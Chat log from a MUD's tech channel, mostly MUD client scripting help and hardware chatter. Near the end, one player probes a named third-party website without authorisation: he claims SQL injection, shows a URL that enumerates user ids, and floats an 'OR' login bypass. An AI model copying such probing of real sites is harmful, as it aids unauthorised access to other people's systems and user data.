T3/r7/2013-02-07.txt.gz:{chan ch=tech}Doink Tech: tks abe, gonna try it.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Doink Tech: xset reset gui, just reset its location but didnt expand it. Sadly.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hahaha
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Doink Tech: Gonna have to start turning my PC off more often... daughter likes to pound on the keyboard/mouse
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Tech: then delete its state file...the state file is in the plugins\state folder, with a name that looks stupid...that silly-looking name is two huge-and-random-looking numbers...one number is the same for all of them,that's the world ID...the other number is the plugin's ID which you can see by looking at the plugin's text
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Tech: delete the state file with the name that has the plugin ID for the S&D (with MUSH closed)
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Doink Tech: thanks, gonna try it out. After I delete it do I need to replace it with anything?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Tech: no, it'll be created from scratch on launch
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Doink Tech: thanks.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Vesrai Tech: anyone know how to delete the xset mark from s&d?
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Tech: set a new mark
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Vesrai Tech: doesn't help me for vidblain.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so sad :(
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Doink Tech: Did the trick Abe, thanks. Man those ID#s are long..... had two that were very very similiar.
T3/r7/2013-02-07.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's because we get lazy and copy/paste uids instead of generating new ones
T3/r7/2013-02-07.txt.gz:{chan ch=tech}Tech: really? I always used the in-MUSH generator
T3/r7/2013-02-07.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i used to just copy paste a framework plugin and add one to the id, so i had a bunch in sequence
T3/r7/2013-02-07.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: then i accidentally made two the same number, so i usually generate a new one for every plugin now :P
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Interesting. Ubuntu smartphones are coming out in October.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Heisenburger Tech: are the phones running on unity?
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Daloran Tech: I imagine they run on batteries, Heis
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Tech: Heisenburger smacks himself in the head.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't know, didn't read too much about it, but thought it interesting.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Heisenburger Tech: yeah. didn't ubuntu design unity just to make it a "phone-friendly" os?
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Heisenburger Tech: basically they ruined an  otherwise awesome os for a phone
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Arnica Tech: Like Windows?
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Heisenburger Tech: 8. yes
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Ranrr Tech: I'm switching to regular debian next time I install, ubuntu is too gucky now.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Heisenburger Tech: yeah. mint seems pretty good too
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Ranrr Tech: I just can't see ubuntu being able to compete with android for phones. Maybe I'm missing something.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Vakieh Tech: It doesn't need to compete, there are those people who will use it regardless
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: installing debian is pretty annoying
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: last time I tried the installer didn't understand how to connect wifi with WPA2
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Ranrr Tech: Sure, Vakieh, but android is linux and open source, so that technical reason is not there for ubuntu.. I dunno, I just don't see that many ubuntu-lovers around. Linux lovers, sure, but not ubuntu.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Ranrr Tech: switching to ubuntu over android, I mean
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Sneak Tech: any vmware fusion 5 users here?
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Suomi Tech: jar or jad download for midpssh 
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Suomi Tech: tech off*
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Aliens Tech: so im making a regex in mush to collect urls... can anyone break this dri gob?
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Aliens Tech: ^(.*)(https?\:\/\/)([\w\.-]+)\.([a-z\.]{2,6})([\/\w \.-\?\=\+%]*)(\'?)$
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Aliens Tech: whoops.. 
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Aliens Tech: still
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Leinei Tech: I'm sure there's probably premade regexes to capture urls if you google for them
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Aliens Tech: i did... they were lacking but i took from them and learned
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Xaeris Tech: as most people ask questions about regular expressions here - http://www.xkcd.com/1171/
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Aliens Tech: my regex caught that url nicely  =)
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Aliens Tech: and yeah i have perl
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Aliens Tech: and yeah i hate perl
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Kelvar Tech: talk to the hand aliens
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Aliens Tech: ok i don't hate perl... i hate what most people do with perl
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Urimaru Tech: looking for someone who knows MUSHclient very well and could help with customization. Please msg me
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Urimaru Tech: aight, maybe someone knows Mudlet very well)
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Thrakun Tech: anyone know of a trigger detector for zmud/cmud
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Thrakun Tech: or one that can be run mudside in diku
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Thrakun Tech: looking to find info on mudside trigger detector where one may find such resources pm me
T3/r7/2013-02-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: what do you mean?
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Book of Etzli Tech: There's no such thing as a "trigger detector".
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Cody Tech: why would you need the info on the mudside trigger detection?
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Tech: Cody boggles at the concept.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Obviously a MUDside trigger detector is just the inverse of the completely solved problem of player detector.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: So, if player, return false!
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Jhav Tech: I made a fool detector, but it kept going off whenever I logged in.  Clearly broken.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: Is it possible to remove windows on MUSHclient? Such as: Group and the health/mana/moves bars?
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: I have them moved to the far corners lol.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ctrl+shift+p
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Turie Tech: Disable
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: Thanks.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: remove the plugins
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Turie Tech: Then give Fiendish 2 tps for his services.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yeah that
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: I have one TP. I can offer you that one?
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Turie Tech: Do not worry about it. It was a joke.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: Oh, sorry. I'm to serious.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: Thanks again tho :)
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Turie Tech: Outerspace: Fiendish was the one who wrote or augmented most of the plugin for Aard-MUSHclient.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: I really feel you deserve atleast 1 TP lol.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: I personally want to give you one. But you got to explain how to give it to you.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh, uhh
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hmm
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: Help <what?> so I can give it.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it costs 100k to convert a trivia point to a token that you can give
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: Not an issue.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: see the 'token' option in 'help tpspend'
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Laughing Airmeith Tech: he doesn't do it for the money, though, Outerspace...he does it because he loves Aard
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that is half correct
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: Which half? Lol.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I do it because I enjoy programming
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: That sentence alone earns the TP.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Laughing Airmeith Tech: that too
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Turie Tech: Fiendish needs to program a food replicator! That would be sweet!
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Sonshi Tech: question 1 on any "are you a masochist" self-diagnostic is "do you enjoy programming"
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Tech: Sonshi ducks defensively.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: Location of someone who can convert TP to token?
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Gnarcyon Tech: wrong channel
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Sonshi Tech: help tpspend has it
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: runto ravi from recall
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Turie Tech: From recall, type runto ravi, then type tpspend token I think
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: Yes. Complete. Where you located Fiendish?
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: snooky's pub
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Outerspace Tech: There.
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hey turie, come hold this tp token for me
T3/r7/2013-02-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm way over my item limit
T3/r7/2013-02-08.txt.gz:{chan ch=tech}Turie Tech: Do what?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Botman Tech: NOD32 is a good antivirus, right?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: windows defender!
T3/r7/2013-02-09.txt.gz:{chan ch=tech}RedRain Tech: no idea used avast for a long time
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: avast sux
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Botman Tech: ha, windows defender.
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Ranrr Tech: try an OS that isn't broken by default instead :P
T3/r7/2013-02-09.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im trying to set an alarm through a lua trigger i have(for cmud) and nothing i have tried so far has worked, anyone know the correct syntax?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Vakieh Tech: So I decided to change from the Logitech G500 mouse to a R.A.T. 7. Best mouse I have ever used o.0
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Cenanin Tech: how do i make a "mapper goto" alias that will work?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Daloran Tech: it already exists.
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Daloran Tech: just type mapper goto <roomnumber>
T3/r7/2013-02-09.txt.gz:{chan ch=tech}BlueBeetle Tech: mapper thisroom for room nbr
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Daloran Tech: room numbers also listed with mapper find and mapper area
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Aliens Tech: <alias   match="^map (.*?)$"   enabled="y"   regexp="y"   send_to="10"   sequence="100"  >  <send>mapper %1</send>  </alias>
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Daloran Tech: Aliens.. what is that supposed to do?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Aliens Tech: what it does do is let your type map instead of mapper
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Daloran Tech: Ah.
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Daloran Tech: Was like.. looks too short to be anything SUPER interesting.. lol
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Aliens Tech: im sure it can easily be modified to send mapper goto
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Daloran Tech: oh yeah, I was just lost on what it did
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Aliens Tech: it does exactly what was asked for, makes an alias to shorten the mapper command
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Daloran Tech: yes, you've already said as much =p
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Doink Tech: Anyone have a clue why my trigger, which trigger off a room name, fires twice in a row?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Mokg Tech: have the trigger twice?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Aliens Tech: bad pattern matching ?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Vakieh Tech: Got a trigger doing something with roomtags, perhaps resending?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Aliens Tech: room name in room desc ?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Laughing Airmeith Tech: likely have the trigger twice in two different plugins
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: debug mode?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Doink Tech: maybe a roomtag, hard to say its of the actual room name, not the description
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Doink Tech: Think if I change it to a descrition it works fine. Tks
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Aliens Tech: tried ^room name     ?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yup. ALWAYS anchor your triggers
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir DISARMS you and you struggle not to drop your weapon! 
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Laughing Airmeith Tech: nope, no bad trigger
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Vakieh Tech: Abusing triggers is against the Policies...
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: if that fired your triggers suck :P
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Tech: Aliens is agreeing with that Seltsimees Dagnir person again...
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: illustrating the need for anchors ;)
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Vakieh Tech: How are you going to anchor when a mob name might well be 'Dagnir Tech:'
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Vakieh Tech: brb, renaming my manor mobs
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: nope. it's about $
T3/r7/2013-02-09.txt.gz:{chan ch=tech}El Verdugo Vaspious Tech: anyone know much about cmud?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}El Verdugo Vaspious Tech: anyone on good with cmud?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Turie Tech: Ubuntu cellphones.....next tablets which can run MUSHclient?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Wilddog Tech: hi I'm using jaws with mush client I'm finding I have to use the jaws cursor to read all the incoming text is their anyway I can change this?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Wilddog Tech: ok is their any way to read the game info with out using the jaws cursor?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}BobTheGreat Tech: How do I open a webpage from mush?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}BobTheGreat Tech: from a script, more specifically
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Nuanse Tech: http://www.gammon.com.au/forum/bbshowpost.php?bbsubject_id=3018
T3/r7/2013-02-09.txt.gz:{chan ch=tech}BobTheGreat Tech: Thanks
T3/r7/2013-02-09.txt.gz:{chan ch=tech}BobTheGreat Tech: But that only shows hyperlinks, though
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Heisenburger Tech: try this: OpenBrowser ("http://www.mushclient.com")
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Tech: BobTheGreat thanks Heisenburger heartily.
T3/r7/2013-02-09.txt.gz:{chan ch=tech}BobTheGreat Tech: Exactly what I was looking for :)
T3/r7/2013-02-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I found a bug in WINE at one point related to openbrowser
T3/r7/2013-02-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I wonder if it's fixed
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Bruceleeroy Tech: has anyone bought the new alienware comp?
T3/r7/2013-02-09.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no. still on thinkpads
T3/r7/2013-02-09.txt.gz:{chan ch=tech}HelperMan Hadar Tech: is there a way to turn off the uptime counter on cmuds status bar?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: tezt
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: anyone know why my mouse wont install?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Sneak Tech: on your phone/
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Sneak Tech: ?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: did you plug it in ?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Martini & Tyebald Tech: cat5 cable?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: yes...when i remove it and plug it in again my pc freeze
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: is it usb ?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Cenanin Tech: you should probably go into your device manager, and remove all mouse devices, then plug it in.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: no not usb
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: ps/2 ?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: cant do anything
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: duno whats ps 2
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: ps/2 devices don't like to be hotpluged
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Harperon Tech: people still have ps/2 mice?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: lmao
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Outerspace Tech: Don't be mean lol.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Hanslanda Tech: round type of plug
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: non-USB mice aren't supposed to be plugged and unplugged while the computer is running
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: im using a ps2 keyboard right now
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: yeah round plug
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Cenanin Tech: thats ps2.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Cenanin Tech: shut computer down, plug it in, start computer.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Hanslanda Tech: they aren't?  I do it all the time and the computer doesn't care.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: you cant plug ps2 stuff while power it on
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: the mouse is on tho, but nothing on pc
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: older ones, some newer ps2 tolerates it, but it's "not good"
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: and my keyboard works perfect
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: good for you, now switch it off, you crashed it by pluging in ps2 while power on
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: if you lucky no hardware was broken
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vakieh Tech: So, I have discovered invheader, statmod, resistmod, and now weapon tags from invdetails. The helpfile is completely empty (help typetags) - does anyone know any other invdetail tags?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vakieh Tech: Whoops, also 'spells' tag
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Hanslanda Tech: skillmod is one.  I dunno what's being used for aflag mods, though.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vakieh Tech: Ooh, yes skillmod, nice one :-)
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Hanslanda Tech: I think it's set up to have a different flag for each section of stuff, so things like lights might have other tags dedicated to those light-specific details.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Hanslanda Tech: on an unrelated note, can anyone tell me why this regex pattern is removing the periods from the capture group data? "\((open %if\([\w\.]*,[\w\.]*,[newsud]\);[newsud])\)"
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vakieh Tech: %if?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Hanslanda Tech: the target text to match in the %if() function corresponds to door name (can be blank, a single word, or in the form of number.word)
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Hanslanda Tech: %if() is a cmud function, unrelated to regex beyond any delimiting that needs to be done.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Hanslanda Tech: the pattern is matching on, for example, "(open %if(2.door,2.door,w);w)", but when I refer to the capture group via \1 it becomes "open %if(2door,2door,w);w"
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: assuming it's in a %subregex if you're using \1, that sounds like a bug...
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: though i can't reproduce it with a simplified example - #show %subregex("12.34", "^(.+)$", "(\1)")
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vakieh Tech: Does the exact example replicate? (no cmud here)
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vakieh Tech: Looks to me to be an issue with handling greedy *, tbh
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: doesn't look like it, there's only one capture and it's stripping the periods
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Hanslanda Tech: unless \w is matching on commas as well or the use of . or \. is somehow matching on them, there's no greediness.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: \w doesn't match on commas
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Hanslanda Tech: bah, found the answer, totally unrelated to regex.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Keranik Tech: Any way to make the color_consider plugin preserve Aura flags as their respective color?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: Ok ive been trying to set an anti idle trig in aardmush but for what ever reason i cant get it to trigger properly and or the line itself doesnt always seem to show
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: mushclient ?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vakieh Tech: Use a 15 min timer instead
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: i find 7 min more reliable
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: i basically just want it to run the "exp" command so its nothing major off chance im tabed out/etc
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: <timer enabled="y" minute="7" second="0.00" offset_second="0.00" ><send>p</send></timer>
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vakieh Tech: More reliable? The timeout is more than 15 minutes, therefore a 15 minute timer is 100% reliable
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: i have had disconnects when i was using a 10 min timer
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: zero on 7
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vakieh Tech: Anecdotal evidence aside, any issue which would cause a disconnect on 10 or 15 minutes will act the same on a 7
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: first time i had it set for "send to world", it did nothin, 2nd time i had it set for send to command
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: works for me.... 
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: it just pot it in chat the 2nd time
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: put*
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Ymerd Tech: 10min works for me 100%
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: well ive not really added anything myself to this aside from 2 trigs which one doesnt seem to work despite my changes
T3/r7/2013-02-10.txt.gz:{chan ch=tech}LordofFate Tech: is there a way I can get mccp for a bbssh client?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Zetkax Tech: yes, what os are you using?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}LordofFate Tech: 7.1
T3/r7/2013-02-10.txt.gz:{chan ch=tech}LordofFate Tech: the 9320 curve
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Zetkax Tech: windows? you can try using duckbats mud proxy, it will give you mccp and a gmcp and a mapper
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: the way to get mccp via bbssh would be to use it to connect to a system which is running a MUD client
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Mercutio Tech: quick question: I got a PtP wireless modem.   When I click  on the connection, it sometimes just hangs and does nothing, and other times it switches to verifying username/password, then gives an error that remote compute did not respond.    If I am getting that error, it is a safe to conclude the problem is at my providers end?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: you'd basically be running something on either your home computer or an Internet server somewhere...you'd tell bbssh to telnet or ssh into that computer where you'd be running a client such as tinyfugue, tintin++ or duckbat's proxy
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: someone ported duckbat's proxy to linux?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: how secure is duckbat?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: it's not
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: i see sqli i think
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: nothing is secure since all mud connections are plaintext anyway
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: im talking more the site itself
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: iirc the connection between you and duckbat's proxy can be ssh
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: duckbat's proxy isn't a site, it's software
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i'd like to run the proxy on my vps
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Zetkax Tech: i think the duckbat site was compromised for a short time
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: php and databases on  simple site
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: nothing is secure unless you can guarantee the security of both the transport and both transmitter and receiver
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: is the site maintained?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i tried to compile the proxy with mono, but it relies on some windows libraries
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Zetkax Tech: dagnir, i also tried on linux and gave up
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: the transport? i don't think you know how some crypto methods work, nuts
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: http://duckbat.com/index.php?page=user&id=1
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: there user enum
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: and what does that get you?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: and if i 'OR' the login i wonder what happens
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: increase the 1 to any number and get every userid
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: and user type
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: and? I can get all those usernames from aard already
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: yup
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Trachx Tech: you shouldn't be able to list users anyway
